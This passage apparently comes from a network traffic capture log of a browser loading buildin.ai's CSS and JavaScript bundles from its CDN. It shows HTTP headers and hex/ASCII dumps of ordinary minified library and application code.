6e 20 74 68 69 73 2e 6e 6f 64 65 28 30 2c 51 50 28 6e 4c 28 74 2c 72 2c 65 29 29 2c 72 2c 65 29 7d 2c 6b Data Ascii: is.skip(aL,++e)}if(("."===eL(t,e)&&(e=this.skip(aL,++e)),"e"===eL(t,e)\|\|"E"===eL(t,e))&&(e++,"+"!==eL(t,e)&&"-"!==eL(t,e)\|\|e++,e===(e=this.skip(aL,e))))throw new XP("Failed to parse number's exponent value at: "+e);return this.node(0,QP(nL(t,r,e)),r,e)},k
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 7b 76 61 72 20 72 2c 65 2c 6e 2c 6f 2c 69 2c 61 2c 75 2c 63 3d 74 68 69 73 2e 65 6e 74 72 69 65 73 2c 73 3d 79 5f 28 74 29 3b 69 66 28 73 29 66 6f 72 28 65 3d 28 72 3d 67 5f 28 74 2c 73 29 29 2e 6e 65 78 74 3b 21 28 6e 3d 4a 44 28 65 2c 72 29 29 2e 64 6f 6e 65 3b 29 7b 69 66 28 69 3d 28 6f 3d 67 5f 28 6c 5f 28 6e 2e 76 61 6c 75 65 29 29 29 2e 6e 65 78 74 2c 28 61 3d 4a 44 28 69 2c 6f 29 29 2e 64 6f 6e 65 7c 7c 28 75 3d 4a 44 28 69 2c 6f 29 29 2e 64 6f 6e 65 7c 7c 21 4a 44 28 69 2c 6f 29 2e 64 6f 6e 65 29 74 68 72 6f 77 20 6e 65 77 20 6a 5f 28 22 45 78 70 65 63 74 65 64 20 73 65 71 75 65 6e 63 65 20 77 69 74 68 20 6c 65 6e 67 74 68 20 32 22 29 3b 4e 5f 28 63 2c 7b 6b 65 79 3a 70 5f 28 61 2e 76 61 6c 75 65 29 2c 76 61 6c 75 65 3a 70 5f 28 75 2e 76 61 6c 75 Data Ascii: {var r,e,n,o,i,a,u,c=this.entries,s=y_(t);if(s)for(e=(r=g_(t,s)).next;!(n=JD(e,r)).done;){if(i=(o=g_(l_(n.value))).next,(a=JD(i,o)).done\|\|(u=JD(i,o)).done\|\|!JD(i,o).done)throw new j_("Expected sequence with length 2");N_(c,{key:p_(a.value),value:p_(u.valu
2025-04-01 16:22:31 UTC	10997	IN	Data Raw: 75 72 6e 20 47 46 28 55 52 4c 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 74 68 69 73 29 7d 7d 29 3b 76 61 72 20 59 46 3d 4b 65 2c 4b 46 3d 45 2c 4a 46 3d 66 6f 2c 51 46 3d 69 76 2c 58 46 3d 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2c 5a 46 3d 58 46 2e 70 72 6f 74 6f 74 79 70 65 2c 74 42 3d 4b 46 28 5a 46 2e 61 70 70 65 6e 64 29 2c 72 42 3d 4b 46 28 5a 46 2e 64 65 6c 65 74 65 29 2c 65 42 3d 4b 46 28 5a 46 2e 66 6f 72 45 61 63 68 29 2c 6e 42 3d 4b 46 28 5b 5d 2e 70 75 73 68 29 2c 6f 42 3d 6e 65 77 20 58 46 28 22 61 3d 31 26 61 3d 32 26 62 3d 33 22 29 3b 6f 42 2e 64 65 6c 65 74 65 28 22 61 22 2c 31 29 2c 6f 42 2e 64 65 6c 65 74 65 28 22 62 22 2c 76 6f 69 64 20 30 29 2c 6f 42 2b 22 22 21 3d 22 61 3d 32 22 26 26 59 46 28 5a 46 2c 22 64 65 Data Ascii: urn GF(URL.prototype.toString,this)}});var YF=Ke,KF=E,JF=fo,QF=iv,XF=URLSearchParams,ZF=XF.prototype,tB=KF(ZF.append),rB=KF(ZF.delete),eB=KF(ZF.forEach),nB=KF([].push),oB=new XF("a=1&a=2&b=3");oB.delete("a",1),oB.delete("b",void 0),oB+""!="a=2"&&YF(ZF,"de

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	554	OUT	GET /assets/flowus-a377f5cb.css HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:31 UTC	663	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 28730 Connection: close Last-Modified: Thu, 27 Mar 2025 08:05:58 GMT X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743062738/ctime:1743062563/gid:0/gname:root/md5:e3e627cd79ae00ec7a9ff9f6caaf11c5/mode:33188/mtime:1743062563/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Date: Tue, 01 Apr 2025 16:22:32 GMT Etag: "e3e627cd79ae00ec7a9ff9f6caaf11c5" Via: 1.1 7aea4d81c29185bd2784c2f86062007a.cloudfront.net (CloudFront) Vary: Origin X-Cache: RefreshHit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: 9COqGE1gqnep6sofZDif3JWVozh4YsEV2ciNrWHlpYn9wbAbZGuQZg==
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 61 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 73 3a 2f 2f 61 6e 69 6d 61 74 65 2e 73 74 79 6c 65 2f 0a 20 2a 20 56 65 72 73 69 6f 6e 20 2d 20 34 2e 31 2e 31 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 30 20 41 6e 69 6d 61 74 65 2e 63 73 73 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 61 6e 69 6d 61 74 65 2d 64 75 72 61 74 69 6f 6e 3a 31 73 3b 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 3a 31 73 3b 2d 2d 61 6e 69 6d 61 74 65 2d 72 65 70 65 61 74 3a 31 7d 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 Data Ascii: /! animate.css - https://animate.style/ * Version - 4.1.1 * Licensed under the MIT license - http://opensource.org/licenses/MIT * * Copyright (c) 2020 Animate.css */:root{--animate-duration:1s;--animate-delay:1s;--animate-repeat:1}.animate__anima
2025-04-01 16:22:31 UTC	12346	IN	Data Raw: 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 69 67 68 74 53 70 65 65 64 49 6e 4c 65 66 74 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 30 25 2c 30 2c 30 29 20 73 6b 65 77 28 33 30 64 65 67 29 7d 36 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 28 2d 32 30 64 65 67 29 7d 38 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 28 35 64 65 67 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 7d 7d 2e 61 6e 69 6d 61 74 65 5f 5f 6c 69 67 68 74 53 70 65 65 64 49 6e 4c 65 66 74 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 6c 69 67 68 74 53 70 65 65 64 49 6e 4c 65 66 74 3b Data Ascii: g-function:ease-out}@keyframes lightSpeedInLeft{0%{opacity:0;transform:translate3d(-100%,0,0) skew(30deg)}60%{opacity:1;transform:skew(-20deg)}80%{transform:skew(5deg)}to{transform:translateZ(0)}}.animate__lightSpeedInLeft{animation-name:lightSpeedInLeft;

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	563	OUT	GET /assets/index-b987e8a9.js HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive Origin: https://buildin.ai sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:31 UTC	703	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 10036804 Connection: close Date: Mon, 31 Mar 2025 20:02:30 GMT Last-Modified: Thu, 27 Mar 2025 07:35:16 GMT Etag: "6dda9049e511ec08939bd7c4f56ebeeb" X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743060904/ctime:1743060729/gid:0/gname:root/md5:6dda9049e511ec08939bd7c4f56ebeeb/mode:33188/mtime:1743060729/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 14b9e21ac67dd643dc9e782cb20c49a2.cloudfront.net (CloudFront) Age: 73201 Access-Control-Allow-Origin: * X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: iA4JYGy-aJBge1V74JLvuWCGUcAK-lAz198T_RrPUkuTmj4x4ElWLA==
2025-04-01 16:22:31 UTC	15681	IN	Data Raw: 76 61 72 20 6f 64 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 46 61 3d 28 74 65 2c 65 65 29 3d 3e 7b 69 66 28 65 65 3d 53 79 6d 62 6f 6c 5b 74 65 5d 29 72 65 74 75 72 6e 20 65 65 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 2e 22 2b 74 65 2b 22 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 7d 3b 76 61 72 20 73 64 3d 28 74 65 2c 65 65 2c 6e 65 29 3d 3e 65 65 20 69 6e 20 74 65 3f 6f 64 28 74 65 2c 65 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 6e 65 7d 29 3a 74 65 5b 65 65 5d 3d 6e 65 3b 76 61 72 20 6d 74 3d 28 74 65 2c 65 65 2c 6e 65 29 3d 3e 28 73 64 28 74 65 2c 74 79 70 65 6f 66 20 65 65 21 Data Ascii: var od=Object.defineProperty;var Fa=(te,ee)=>{if(ee=Symbol[te])return ee;throw Error("Symbol."+te+" is not defined")};var sd=(te,ee,ne)=>ee in te?od(te,ee,{enumerable:!0,configurable:!0,writable:!0,value:ne}):te[ee]=ne;var mt=(te,ee,ne)=>(sd(te,typeof ee!
2025-04-01 16:22:31 UTC	309	IN	Data Raw: 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 79 65 3d 41 65 28 74 68 69 73 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 69 66 28 66 65 3d 3d 3d 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6c 6c 65 67 61 6c 20 69 6e 76 6f 63 61 74 69 6f 6e 20 61 74 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2e 69 6e 76 6f 6b 65 47 65 74 74 65 72 22 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 79 65 29 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 45 65 2c 4d 65 29 7b 72 65 74 75 72 6e 20 45 65 2b 79 65 5b 4d 65 5d 2e 6c 65 6e 67 74 68 7d 2c 30 29 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 68 65 28 79 65 29 7b 76 61 72 20 45 65 3d 7b 22 21 22 3a 22 25 32 31 22 2c 22 27 22 3a 22 25 32 37 22 2c 22 28 22 3a 22 25 32 Data Ascii: t:function(){var ye=Ae(this.toString());if(fe===this)throw new TypeError("Illegal invocation at URLSearchParams.invokeGetter");return Object.keys(ye).reduce(function(Ee,Me){return Ee+ye[Me].length},0)}});function he(ye){var Ee={"!":"%21","'":"%27","(":"%2
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 79 65 29 2e 72 65 70 6c 61 63 65 28 2f 5b 21 27 5c 28 5c 29 7e 5d 7c 25 32 30 7c 25 30 30 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 4d 65 29 7b 72 65 74 75 72 6e 20 45 65 5b 4d 65 5d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 65 28 79 65 29 7b 72 65 74 75 72 6e 20 79 65 2e 72 65 70 6c 61 63 65 28 2f 5b 20 2b 5d 2f 67 2c 22 25 32 30 22 29 2e 72 65 70 6c 61 63 65 28 2f 28 25 5b 61 2d 66 30 2d 39 5d 7b 32 7d 29 2b 2f 69 67 2c 66 75 6e 63 74 69 6f 6e 28 45 65 29 7b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 45 65 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 67 65 28 79 65 29 7b 76 61 72 20 45 65 3d 7b 6e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 4d 65 3d 79 65 2e 73 68 69 66 Data Ascii: codeURIComponent(ye).replace(/[!'\(\)~]\|%20\|%00/g,function(Me){return Ee[Me]})}function me(ye){return ye.replace(/[ +]/g,"%20").replace(/(%[a-f0-9]{2})+/ig,function(Ee){return decodeURIComponent(Ee)})}function ge(ye){var Ee={next:function(){var Me=ye.shif
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 65 2c 50 65 2c 42 65 29 7d 65 6c 73 65 28 7b 56 49 54 45 5f 53 54 52 49 50 45 5f 50 55 42 4c 49 43 5f 4b 45 59 3a 22 70 6b 5f 6c 69 76 65 5f 35 31 4e 72 64 31 45 43 36 50 4d 52 50 72 54 73 32 78 47 56 65 45 69 46 50 57 4f 39 76 6f 38 6c 37 34 35 76 4e 79 61 4b 79 54 76 70 35 76 65 5a 33 65 58 39 6a 31 49 67 71 37 50 48 50 41 31 35 77 33 4b 6a 5a 33 61 4b 4c 48 57 56 65 6d 42 52 47 6a 7a 45 79 75 79 52 75 30 30 31 6f 43 74 4c 51 39 58 22 2c 56 49 54 45 5f 44 4f 43 55 4d 45 4e 54 5f 54 49 54 4c 45 3a 22 42 75 69 6c 64 49 6e 2e 41 49 20 7c 20 43 72 65 61 74 65 2c 20 63 6f 6e 6e 65 63 74 2c 20 70 75 62 6c 69 73 68 20 69 6e 73 74 61 6e 74 6c 79 22 2c 56 49 54 45 5f 4f 53 53 5f 43 44 4e 5f 48 4f 53 54 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 62 75 69 6c 64 69 Data Ascii: e,Pe,Be)}else({VITE_STRIPE_PUBLIC_KEY:"pk_live_51Nrd1EC6PMRPrTs2xGVeEiFPWO9vo8l745vNyaKyTvp5veZ3eX9j1Igq7PHPA15w3KjZ3aKLHWVemBRGjzEyuyRu001oCtLQ9X",VITE_DOCUMENT_TITLE:"BuildIn.AI \| Create, connect, publish instantly",VITE_OSS_CDN_HOST:"https://cdn.buildi
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 2e 66 6c 6f 77 75 73 2e 63 6f 6d 2e 63 6e 22 2c 56 49 54 45 5f 50 52 45 46 49 58 3a 22 68 74 74 70 73 3a 2f 2f 62 75 69 6c 64 69 6e 2e 61 69 22 2c 56 49 54 45 5f 57 45 43 48 41 54 5f 41 50 50 5f 49 44 3a 22 77 78 63 33 63 65 62 65 66 33 66 37 34 61 33 38 36 36 22 2c 56 49 54 45 5f 47 49 54 5f 43 4f 4d 4d 49 54 3a 22 37 34 66 30 39 65 32 34 66 39 39 30 66 37 65 37 34 34 39 66 31 61 37 32 66 66 63 66 35 38 30 38 31 31 65 38 38 30 36 38 22 2c 56 49 54 45 5f 49 4d 50 4f 52 54 41 4e 54 5f 46 45 41 54 55 52 45 5f 43 4f 4c 4c 45 43 54 49 4f 4e 5f 49 44 3a 22 63 33 61 37 66 37 66 35 2d 37 34 62 64 2d 34 34 39 31 2d 62 34 33 64 2d 66 34 39 66 66 64 64 61 65 64 35 35 22 2c 56 49 54 45 5f 50 52 4f 44 55 43 54 5f 41 49 5f 4e 41 4d 45 3a 22 42 75 69 6c 64 49 6e 20 41 Data Ascii: .flowus.com.cn",VITE_PREFIX:"https://buildin.ai",VITE_WECHAT_APP_ID:"wxc3cebef3f74a3866",VITE_GIT_COMMIT:"74f09e24f990f7e7449f1a72ffcf580811e88068",VITE_IMPORTANT_FEATURE_COLLECTION_ID:"c3a7f7f5-74bd-4491-b43d-f49ffddaed55",VITE_PRODUCT_AI_NAME:"BuildIn A
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 65 61 63 74 45 78 70 6f 72 74 73 2e 66 6f 72 77 61 72 64 52 65 66 28 28 74 65 2c 65 65 29 3d 3e 6a 73 78 52 75 6e 74 69 6d 65 45 78 70 6f 72 74 73 2e 6a 73 78 73 28 47 72 69 64 50 72 6f 76 69 64 65 72 2c 7b 2e 2e 2e 74 65 2c 63 68 69 6c 64 72 65 6e 3a 5b 6a 73 78 52 75 6e 74 69 6d 65 45 78 70 6f 72 74 73 2e 6a 73 78 28 47 72 69 64 52 65 66 2c 7b 72 65 66 3a 65 65 7d 29 2c 6a 73 78 52 75 6e 74 69 6d 65 45 78 70 6f 72 74 73 2e 6a 73 78 28 43 6f 6e 74 65 6e 74 24 31 2c 7b 7d 29 5d 7d 29 29 3b 63 6f 6e 73 74 20 47 72 69 64 52 65 66 3d 72 65 61 63 74 45 78 70 6f 72 74 73 2e 66 6f 72 77 61 72 64 52 65 66 28 28 74 65 2c 65 65 29 3d 3e 7b 63 6f 6e 73 74 20 6e 65 3d 75 73 65 47 72 69 64 28 29 3b 72 65 74 75 72 6e 20 72 65 61 63 74 45 78 70 6f 72 74 73 2e 75 73 65 Data Ascii: eactExports.forwardRef((te,ee)=>jsxRuntimeExports.jsxs(GridProvider,{...te,children:[jsxRuntimeExports.jsx(GridRef,{ref:ee}),jsxRuntimeExports.jsx(Content$1,{})]}));const GridRef=reactExports.forwardRef((te,ee)=>{const ne=useGrid();return reactExports.use
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 65 63 74 3d 74 65 3d 3e 7b 63 6f 6e 73 74 20 65 65 3d 6e 65 77 20 41 72 72 61 79 28 31 30 29 2c 6e 65 3d 28 69 65 2c 61 65 29 3d 3e 7b 69 66 28 69 73 4f 62 6a 65 63 74 24 38 28 69 65 29 29 7b 69 66 28 65 65 2e 69 6e 64 65 78 4f 66 28 69 65 29 3e 3d 30 29 72 65 74 75 72 6e 3b 69 66 28 21 28 22 74 6f 4a 53 4f 4e 22 69 6e 20 69 65 29 29 7b 65 65 5b 61 65 5d 3d 69 65 3b 63 6f 6e 73 74 20 6f 65 3d 69 73 41 72 72 61 79 24 36 28 69 65 29 3f 5b 5d 3a 7b 7d 3b 72 65 74 75 72 6e 20 66 6f 72 45 61 63 68 28 69 65 2c 28 73 65 2c 6c 65 29 3d 3e 7b 63 6f 6e 73 74 20 63 65 3d 6e 65 28 73 65 2c 61 65 2b 31 29 3b 21 69 73 55 6e 64 65 66 69 6e 65 64 24 32 28 63 65 29 26 26 28 6f 65 5b 6c 65 5d 3d 63 65 29 7d 29 2c 65 65 5b 61 65 5d 3d 76 6f 69 64 20 30 2c 6f 65 7d 7d 72 65 Data Ascii: ect=te=>{const ee=new Array(10),ne=(ie,ae)=>{if(isObject$8(ie)){if(ee.indexOf(ie)>=0)return;if(!("toJSON"in ie)){ee[ae]=ie;const oe=isArray$6(ie)?[]:{};return forEach(ie,(se,le)=>{const ce=ne(se,ae+1);!isUndefined$2(ce)&&(oe[le]=ce)}),ee[ae]=void 0,oe}}re
2025-04-01 16:22:31 UTC	13491	IN	Data Raw: 61 74 68 2e 66 6c 6f 6f 72 28 6e 65 2e 73 74 61 74 75 73 2f 31 30 30 29 2d 34 5d 2c 6e 65 2e 63 6f 6e 66 69 67 2c 6e 65 2e 72 65 71 75 65 73 74 2c 6e 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 70 61 72 73 65 50 72 6f 74 6f 63 6f 6c 28 74 65 29 7b 63 6f 6e 73 74 20 65 65 3d 2f 5e 28 5b 2d 2b 5c 77 5d 7b 31 2c 32 35 7d 29 28 3a 3f 5c 2f 5c 2f 7c 3a 29 2f 2e 65 78 65 63 28 74 65 29 3b 72 65 74 75 72 6e 20 65 65 26 26 65 65 5b 31 5d 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 73 70 65 65 64 6f 6d 65 74 65 72 28 74 65 2c 65 65 29 7b 74 65 3d 74 65 7c 7c 31 30 3b 63 6f 6e 73 74 20 6e 65 3d 6e 65 77 20 41 72 72 61 79 28 74 65 29 2c 69 65 3d 6e 65 77 20 41 72 72 61 79 28 74 65 29 3b 6c 65 74 20 61 65 3d 30 2c 6f 65 3d 30 2c 73 65 3b 72 65 74 75 72 6e 20 65 65 3d 65 65 Data Ascii: ath.floor(ne.status/100)-4],ne.config,ne.request,ne))}function parseProtocol(te){const ee=/^([-+\w]{1,25})(:?\/\/\|:)/.exec(te);return ee&&ee[1]\|\|""}function speedometer(te,ee){te=te\|\|10;const ne=new Array(te),ie=new Array(te);let ae=0,oe=0,se;return ee=ee
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 70 74 65 72 73 5b 28 73 65 3d 53 74 72 69 6e 67 28 6e 65 29 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 2c 69 65 3d 3d 3d 76 6f 69 64 20 30 29 29 74 68 72 6f 77 20 6e 65 77 20 41 78 69 6f 73 45 72 72 6f 72 28 22 55 6e 6b 6e 6f 77 6e 20 61 64 61 70 74 65 72 20 27 22 2e 63 6f 6e 63 61 74 28 73 65 2c 22 27 22 29 29 3b 69 66 28 69 65 29 62 72 65 61 6b 3b 61 65 5b 73 65 7c 7c 22 23 22 2b 6f 65 5d 3d 69 65 7d 69 66 28 21 69 65 29 7b 63 6f 6e 73 74 20 6f 65 3d 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 61 65 29 2e 6d 61 70 28 28 5b 6c 65 2c 63 65 5d 29 3d 3e 22 61 64 61 70 74 65 72 20 22 2e 63 6f 6e 63 61 74 28 6c 65 2c 22 20 22 29 2b 28 63 65 3d 3d 3d 21 31 3f 22 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 65 20 65 6e 76 69 72 6f 6e Data Ascii: pters[(se=String(ne)).toLowerCase()],ie===void 0))throw new AxiosError("Unknown adapter '".concat(se,"'"));if(ie)break;ae[se\|\|"#"+oe]=ie}if(!ie){const oe=Object.entries(ae).map(([le,ce])=>"adapter ".concat(le," ")+(ce===!1?"is not supported by the environ
2025-04-01 16:22:31 UTC	2804	IN	Data Raw: 64 7c 32 35 5b 30 2d 35 5d 29 24 2f 2e 74 65 73 74 28 74 65 29 2c 67 65 74 44 6f 6d 61 69 6e 3d 28 29 3d 3e 7b 63 6f 6e 73 74 20 74 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 5b 65 65 3d 22 22 5d 3d 74 65 3b 69 66 28 74 65 2e 6c 65 6e 67 74 68 3d 3d 3d 44 4f 4d 41 49 4e 5f 4e 55 4d 26 26 65 65 21 3d 3d 22 77 77 77 22 29 72 65 74 75 72 6e 20 69 73 56 61 6c 69 64 49 50 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 29 7c 7c 2f 66 6c 6f 77 75 73 7c 61 6c 6c 66 6c 6f 77 2f 2e 74 65 73 74 28 65 65 29 3f 76 6f 69 64 20 30 3a 65 65 7d 2c 67 65 74 55 72 6c 57 69 74 68 6f 75 74 44 6f 6d 61 69 6e 3d 28 29 3d 3e 7b 63 6f 6e 73 74 7b 68 6f 73 74 6e 61 6d 65 3a 74 65 2c Data Ascii: d\|25[0-5])$/.test(te),getDomain=()=>{const te=window.location.hostname.split("."),[ee=""]=te;if(te.length===DOMAIN_NUM&&ee!=="www")return isValidIP(window.location.hostname)\|\|/flowus\|allflow/.test(ee)?void 0:ee},getUrlWithoutDomain=()=>{const{hostname:te,

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	570	OUT	GET /assets/react-vendor-04523c56.js HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive Origin: https://buildin.ai sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:31 UTC	701	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 755916 Connection: close Date: Tue, 01 Apr 2025 01:41:45 GMT Last-Modified: Thu, 27 Mar 2025 08:05:53 GMT Etag: "05025f1d45c4bd35cdb8c893a807f8d4" X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743062738/ctime:1743062563/gid:0/gname:root/md5:05025f1d45c4bd35cdb8c893a807f8d4/mode:33188/mtime:1743062563/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 c23bc76444fad08250d9cd740d061b4a.cloudfront.net (CloudFront) Age: 52847 Access-Control-Allow-Origin: * X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: MiSGGR2qIQyiic1_4zvYAwh_BOEup2H7AoUXVkCeykvvVTD7gL6dUw==
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 76 61 72 20 62 68 3d 28 74 2c 65 29 3d 3e 7b 69 66 28 65 3d 53 79 6d 62 6f 6c 5b 74 5d 29 72 65 74 75 72 6e 20 65 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 2e 22 2b 74 2b 22 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 7d 3b 76 61 72 20 4f 53 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 68 69 73 5b 30 5d 3d 74 2c 74 68 69 73 5b 31 5d 3d 65 7d 3b 76 61 72 20 67 6c 3d 74 3d 3e 7b 76 61 72 20 65 3d 74 5b 62 68 28 22 61 73 79 6e 63 49 74 65 72 61 74 6f 72 22 29 5d 2c 6e 3d 21 31 2c 72 2c 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 65 3d 3d 6e 75 6c 6c 3f 28 65 3d 74 5b 62 68 28 22 69 74 65 72 61 74 6f 72 22 29 5d 28 29 2c 72 3d 6f 3d 3e 69 5b 6f 5d 3d 73 3d 3e 65 5b 6f 5d 28 73 29 29 3a 28 65 3d 65 2e 63 61 6c 6c 28 74 29 2c 72 3d 6f 3d 3e Data Ascii: var bh=(t,e)=>{if(e=Symbol[t])return e;throw Error("Symbol."+t+" is not defined")};var OS=function(t,e){this[0]=t,this[1]=e};var gl=t=>{var e=t[bh("asyncIterator")],n=!1,r,i={};return e==null?(e=t[bh("iterator")](),r=o=>i[o]=s=>e[o](s)):(e=e.call(t),r=o=>
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 28 5b 5d 29 3b 66 6f 72 28 76 61 72 20 52 3d 2d 31 2c 4c 3d 6e 65 77 20 74 68 69 73 28 73 29 3b 2b 2b 52 3c 43 3b 29 56 28 45 5b 52 5d 29 3b 72 65 74 75 72 6e 20 4c 3b 66 75 6e 63 74 69 6f 6e 20 56 28 71 29 7b 62 2e 72 65 73 6f 6c 76 65 28 71 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 69 65 29 7b 44 7c 7c 28 44 3d 21 30 2c 61 2e 72 65 73 6f 6c 76 65 28 4c 2c 69 65 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 69 65 29 7b 44 7c 7c 28 44 3d 21 30 2c 61 2e 72 65 6a 65 63 74 28 4c 2c 69 65 29 29 7d 29 7d 7d 7d 2c 7b 31 3a 31 7d 5d 2c 33 3a 5b 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 69 29 7b 28 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 74 79 70 65 6f 66 20 6f 2e 50 72 